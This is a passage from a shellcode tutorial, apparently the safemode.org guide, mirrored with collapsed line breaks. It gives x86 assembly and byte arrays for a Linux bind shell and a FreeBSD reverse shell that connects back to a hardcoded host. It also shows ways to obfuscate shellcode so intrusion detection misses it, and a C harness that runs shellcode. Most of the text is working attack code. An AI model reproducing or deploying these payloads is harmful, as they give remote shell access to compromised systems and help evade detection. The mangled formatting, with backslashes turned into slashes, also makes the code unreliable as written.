BITS 32xor             eax, eax             ; NULL eaxinc             eax                  ; eax represents 1 now mov long        [esi +12],eax        ; mov             ebx,eaxinc             eaxmov long        [esi +8],eaxadd             al,0x04mov long        [esi +16],eaxlea             ecx,[esi +8]mov             al,102                ; 102 == socketcallint             0x80                  ; call the kernelmov             edx,eax               ; store the file descriptor in edx xor             eax, eax              ; Null eax                                      ; Now lets make the  serv_addr struct  mov byte        [esi + 8],0x02        ; This equals: serv_addr.sin_family=2mov word        [esi + 10],0xAAAA     ; This equals: serv_addr.sin_port=0xAAAAmov long        [esi + 12],eax        ; This equals: serv_addr.sin_addr.s_addr=0mov long        [esi + 17],edx        ; edx the file descriptorlea             ecx,[esi + 8]         ; load effective address of the structmov long        [esi + 21],ecx        ; and store it in [esi + 21]inc             ebx                     mov             ecx,ebx        add             cl,14mov long        [esi + 25],ecxlea             ecx,[esi +17]mov             al,102int             0x80mov             al,102inc ebxinc ebxint             0x80xor             eax,eaxinc             ebxmov long        [esi + 21],eaxmov long        [esi + 25],eaxmov             al,102int             0x80   mov             ebx,eax               ; Save the file descriptor in ebxxor             eax,eax               ; NULL eaxmov long        [esi + 12], eax       ; mov             ecx,eax               ; 0 == stdin mov             al,63                 ; dub2()int             0x80                  ; Call kernelinc             ecx                   ; 1 == stdout mov             al,63                 ; dub2()int             0x80                  ; Call kernel inc             ecx                   ; 2 == stderrmov             al,63                 ; dub2()int             0x80                  ; Call kernel                                        ; From here it is just a matter of   jmp short       callit                ; executing a shell (/bin/bash)doit:pop             esixor             eax, eaxmov byte        [esi + 9], allea             ebx, [esi]mov long        [esi + 11], ebxmov long        [esi + 15], eaxmov byte        al, 0x0bmov             ebx, esilea             ecx, [esi + 11]lea             edx, [esi + 15]int             0x80callit:call            doitdb              '/bin/bash'

FreeBSD connecting shellcode:

In this example we will see how to create shellcode that creates a shell, which connectsback to a host you control. You'll be able to catch the shell by using a tool such as netcat.In this shellcode you will have to hardcode an IP address to connect to. It is also possibleto add this ip address at the runtime of the exploit (which is a good idea). Please remember to convert the IP address ! for testing puposes the assembly and shellcode below will connectto 10.6.12.33 (an machine in my tiny test lab) on port 43690. Within the code this IP address is converted to: 0x210c060a . You can obtain this hex value pretty easily with perl:su-2.05a# perl -e 'printf "0x" . "%02x"x4 ."/n",33,12,6,10'0x210c060a
Just make sure you reverse the IP address like I did with 10.6.12.33. The C code on which theassembly is based:
#include<unistd.h>#include<sys/socket.h>#include<netinet/in.h>int soc,rc;struct sockaddr_in serv_addr;int main(){                serv_addr.sin_family=2;                serv_addr.sin_addr.s_addr=0x210c060a;                serv_addr.sin_port=0xAAAA; /* port 43690 */                soc=socket(2,1,6);                rc = connect(soc, (struct sockaddr *)&serv_addr,0x10);                dup2(soc,0);                dup2(soc,1);                dup2(soc,2);                execve("/bin/sh",0,0);}
And the assembly implementation:
BITS 32jmp short      callitdoit:pop             esixor             eax, eaxmov byte        [esi + 7], al                                      ; Next code: socket(2,1,6)                                push byte       0x06                  ; The 3e argument   push byte       0x01                  ; The 2e argument push byte       0x02                  ; The 1e argument mov             al,97                 ; The system call numberpush            eax                   ;int             0x80                  ; And call the kernel                                        ;                                       ; Next code: connect(soc,(struct sockaddr *)&serv_addr,0x10);mov             edx,eax               ; We store the file descriptor that was returned from socket() in edxxor             eax,eax               ; Now we will create the sockaddr_in structuremov byte        [esi + 9],0x02        ; This equals: serv_addr.sin_family=2mov word        [esi + 10],0xAAAA     ; This equals: serv_addr.sin_port=0xAAAA  /* port 43690 */mov long        [esi + 12],0x210c060a ; This equals: serv_addr.sin_addr.s_addr=0x210c060apush byte       0x10                  ; We now start with pushing the arguments, 0x10 is the 3e one.   lea             eax,[esi + 8]         ; Get the address of our structure, arg 2 of bind() is a pointer.push            eax                   ; And push it on the stack, our second argument is a factpush            edx                   ; And we push the last argument, the file descriptor, on the stackxor             eax,eax               ; Clean upmov             al,98                 ; System call 98 represents connect.push            eax                   ;int             0x80                  ; And call the kernel                                      ;                                          ; Next code: dup2(cli,0) , dup2(cli,1) and dup2(cli,2)                                       ; We will do this in a loop since this creates smaller code.mov             cl,3                  ; Define our counter = 3 mov             ebx,-1                ; The C code for our loop is: b = -1; for(int i =3;i>0;i--) { dup(cli,++b) };                                       ;  l00p:                                 ; The loop code starts here.      inc             ebx                   ; This is the instead of the ++b code push            ebx                   ; We push this value first because it represents the last argument push            edx                   ; We push the second argument, the file descriptor from accept() mov             al,90                 ; We define the system callpush            eax                   ;  int             0x80                  ; And call the kernel to execute  sub             cl, 1                 ; Substract 1 from cljnz l00p                              ; This will continue the loop if cl != 0                                         ;                                        ; Next the execve of /bin/shxor             eax,eax               ; First we create some zero'spush            eax                   ; The 3e argument == NULLpush            eax                   ; So is the second push            esi                   ; The first argument is a pointer to our string /bin/sh mov             al,59                 ; We define the system call, execve.push            eax                   ; int             0x80                  ; And execute
callit:call            doitdb              '/bin/sh'
Shellcode generated from this assembly code will look like this. I have made the IP address bold soyou'll known where to search for it if you need to change it.
char shellcode[] =        "/xeb/x52/x5e/x31/xc0/x88/x46/x07/x6a/x06/x6a/x01/x6a/x02/xb0"        "/x61/x50/xcd/x80/x89/xc2/x31/xc0/xc6/x46/x09/x02/x66/xc7/x46"        "/x0a/xaa/xaa/xc7/x46/x0c/x0a/x06/x0c/x21/x6a/x10/x8d/x46/x08"        "/x50/x52/x31/xc0/xb0/x62/x50/xcd/x80/xb1/x03/xbb/xff/xff/xff"        "/xff/x43/x53/x52/xb0/x5a/x50/xcd/x80/x80/xe9/x01/x75/xf3/x31"        "/xc0/x50/x50/x56/xb0/x3b/x50/xcd/x80/xe8/xa9/xff/xff/xff/x2f"        "/x62/x69/x6e/x2f/x73/x68";

Several shellcode tricks:

In some cases the buffer that causes the overflow is manipulated by the vulnerable program.  This happens more often then you might think and makes exploiting overflowsmore difficult and often more fun !. For example many programs filter dots and slashes. Oh my GOD !! isn't there something we can do about this ? yes there is ;-) We can use the almighty 'inc' operator to increase the hex value of our ascii character. Below is a simple example that illustrates how to do this but first a part from Intel's descriptionof 'inc'.Adds 1 to the destination operand, while preserving the state of the CF flag. The destination operand can be a register or a memory location.Now an example in how to do this. Let's say we have the string: db            'ABCD'We can change B in to a C by using: inc byte      [esi + 2] So what this does is the hex value of B is changed from 42 to 43 which represents C.  A working example of the assembly code required to do this:BITS 32jmp short       callitdoit:   pop             esixor             eax, eaxmov byte        [esi + 7], almov byte        [esi + 10], almov long        [esi + 11], esilea             ebx, [esi + 8]mov long        [esi + 15], ebxmov long        [esi + 19], eaxinc byte        [esi]                ; Now we have /bin.shinc byte        [esi + 4]            ; Now we have /bin/sh      mov byte        al, 0x0bmov             ebx, esilea             ecx, [esi + 11]lea             edx, [esi + 19]int             0x80callit:call            doitdb              '.bin.sh#-i#AAAABBBBCCCC'This can also be done to obfuscate parts of shellcode that might trigger IDS signatures. Incstructions such as ADD, SUB INC and DEC can be useful for this. By using a loop you can recover strings at run time and by doing so you might be able get undetected by an IDS or atleast, lower therisk of detection. Have a look at the following example:BITS 32jmp short       callitdoit:pop             esixor             eax, eaxmov byte        [esi + 7], allea             ebx, [esi]mov long        [esi + 8], ebxmov long        [esi + 12], eaxmov             cl,7                 ; The loop begins here, we will loop 7 timeschange:dec byte        [esi + ecx - 1 ]     ; Change the byte on the right location sub             cl, 1                ; Update the counter 'cl'jnz change                           ; Verify if we should break the loop mov byte        al, 0x0bmov             ebx, esilea             ecx, [esi + 8]lea             edx, [esi + 12]int             0x80callit:call            doitdb              '0cjo0ti#AAAABBBB'The extra -1 in the line "dec byte [esi + ecx - 1 ]" is to make sure we als change the byte [esi + 0]. The above assembly code will generate shellcode that changes the string '0cjo0ti' to '/bin/sh' and which will then doan execve of it. The end result (after removing the #AAAABBB chars) will be:char shellcode[] =        "/xeb/x25/x5e/x31/xc0/x88/x46/x07/x8d/x1e/x89/x5e/x08/x89/x46"        "/x0c/xb1/x07/xfe/x4c/x0e/xff/x80/xe9/x01/x75/xf7/xb0/x0b/x89"        "/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xd6/xff/xff/xff/x30"        "/x63/x6a/x6f/x30/x74/x69";
A nice FreeBSD example to hide the /bin/sh string in simple execve shellcode:
BITS 32mov byte        [esi + 5],0x73                 mov byte        [esi + 1],0x62mov byte        [esi],0x2f         xor             eax, eaxmov byte        [esi + 7], almov byte        [esi + 2],0x69push            eaxmov byte        [esi + 6],0x68push            eaxmov byte        [esi + 4],0x2fpush            esimov byte        [esi + 3],0x6emov             al,59push            eaxint             0x80
So the string /bin/sh is build character for character and not in the correct order. This will make it very hard for IDS's to detect the existance of the string! By creating an exploit that would shift the bold made code during execution you could make it extra hard to detect.
char shellcode[] =        "/xc6/x46/x05/x73/xc6/x46/x01/x62/xc6/x06/x2f/x31/xc0/x88/x46"        "/x07/xc6/x46/x02/x69/x50/xc6/x46/x06/x68/x50/xc6/x46/x04/x2f"        "/x56/xc6/x46/x03/x6e/xb0/x3b/x50/xcd/x80";
A more advanced method to obfuscate your code is by encoding the shellcode and decodingit at run time. While this seems very hard to do, trust me it is not. If you want to encode shellcode the best way to do this is with some help from a simple c program. More informationon doing that will be released in another document on safemode.org
Ofcourse these are just simples example of obfuscating code. It work nice but isn'treally efficient. If you are really interested in this stuff, have a look at K2's work at: http://www.ktwo.ca/security.html. 

Trace system calls to debug assembly code:

When you assembly code doesn't work, don't give up because tools such asptrace and ktrace can help you allot ! They can show you the exact argumentsthat are given to a system call, whether the system call was successful and ifany value was returned.
For example, if the FreeBSD connect shellcode fails, you can see why! Just worklike this:
ktrace ./s-proc -e <compiled connect assembly code>kdump | more
snip snip snip
  1830 process  RET   write 17/0x11  1830 process  CALL  socket(0x2,0x1,0x6)  1830 process  RET   socket 3  1830 process  CALL  connect(0x3,0x804b061,0x10)  1830 process  RET   connect -1 errno 61 Connection refused
Aha ! Connection refused.
If you are developing on linux then strace is defenitly your best friend ;-)


Disassembling shellcode:

If you want to see how someone else create shellcode there are very simple ways to disassemble
it.  What I normally use is a small perl script that writes the shellcode to a file. For example, if
I would like to get the assembly of the following shellcode:

char shellcode[] =
        "/x5e/x31/xc0/xb0/x24/xcd/x80/xb0/x24/xcd/x80/xb0/x58/xbb/xad"
        "/xde/xe1/xfe/xb9/x69/x19/x12/x28/xba/x67/x45/x23/x01/xcd/x80";

I just put it in a perl script like this:

#!/usr/bin/perl -w

$shellcode =
        "/x5e/x31/xc0/xb0/x24/xcd/x80/xb0/x24/xcd/x80/xb0/x58/xbb/xad".
        "/xde/xe1/xfe/xb9/x69/x19/x12/x28/xba/x67/x45/x23/x01/xcd/x80";

open(FILE, ">shellcode.bin");
print FILE "$shellcode";
close(FILE);

I saved the file as ww.pl and disassembled it:

[10:50pm lappie] ./ww.pl
[10:50pm lappie] ndisasm -b 32 shellcode.bin
00000000  5E                           pop esi
00000001  31C0                       xor eax,eax
00000003  B024                       mov al,0x24
00000005  CD80                      int 0x80
00000007  B024                       mov al,0x24
00000009  CD80                      int 0x80
0000000B  B058                      mov al,0x58
0000000D  BBADDEE1FE    mov ebx,0xfee1dead
00000012  B969191228           mov ecx,0x28121969
00000017  BA67452301          mov edx,0x1234567
0000001C  CD80                     int 0x80
 

Et voila, here is the assembly. Now it is really easy to determine what kind of shellcode
this is and what technique is being used.
 

Shellcode processing program:

/* * Generic program for testing shellcode byte arrays. * Created by zillion and EVL * * Safemode.org !! Safemode.org !! */#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>#include <unistd.h>#include <errno.h>/* * Print message */static voidcroak(const char *msg) {    fprintf(stderr, "%s/n", msg);    fflush(stderr);}/* * Educate user. */static voidusage(const char *prgnam) {    fprintf(stderr, "/nExecute code : %s -e <file-containing-shellcode>/n", prgnam);    fprintf(stderr, "Convert code : %s -p <file-containing-shellcode> /n/n", prgnam);    fflush(stderr);    exit(1);}/* * Signal error and bail out. */static voidbarf(const char *msg) {    perror(msg);    exit(1);}/* * Main code starts here */intmain(int argc, char **argv) {    FILE        *fp;    void        *code;    int         arg;    int         i;    int         l;    int     m = 15; /* max # of bytes to print on one line */    struct stat sbuf;    long        flen;   /* Note: assume files are < 2**32 bytes long ;-) */    void        (*fptr)(void);    if(argc < 3) usage(argv[0]);    if(stat(argv[2], &sbuf)) barf("failed to stat file");    flen = (long) sbuf.st_size;    if(!(code = malloc(flen))) barf("failed to grab required memeory");    if(!(fp = fopen(argv[2], "rb"))) barf("failed to open file");    if(fread(code, 1, flen, fp) != flen) barf("failed to slurp file");    if(fclose(fp)) barf("failed to close file");        while ((arg = getopt (argc, argv, "e:p:")) != -1){       switch (arg){       case 'e':         croak("Calling code ...");        fptr = (void (*)(void)) code;        (*fptr)();        break;       case 'p':               printf("/n/nchar shellcode[] =/n");        l = m;        for(i = 0; i < flen; ++i) {          if(l >= m) {            if(i) printf("/"/n");            printf( "/t/"");            l = 0;          }          ++l;          printf("//x%02x", ((unsigned char *)code)[i]);        }        printf("/";/n/n/n");                break;       default :               usage(argv[0]);       }     }             return 0;}
原创粉丝点击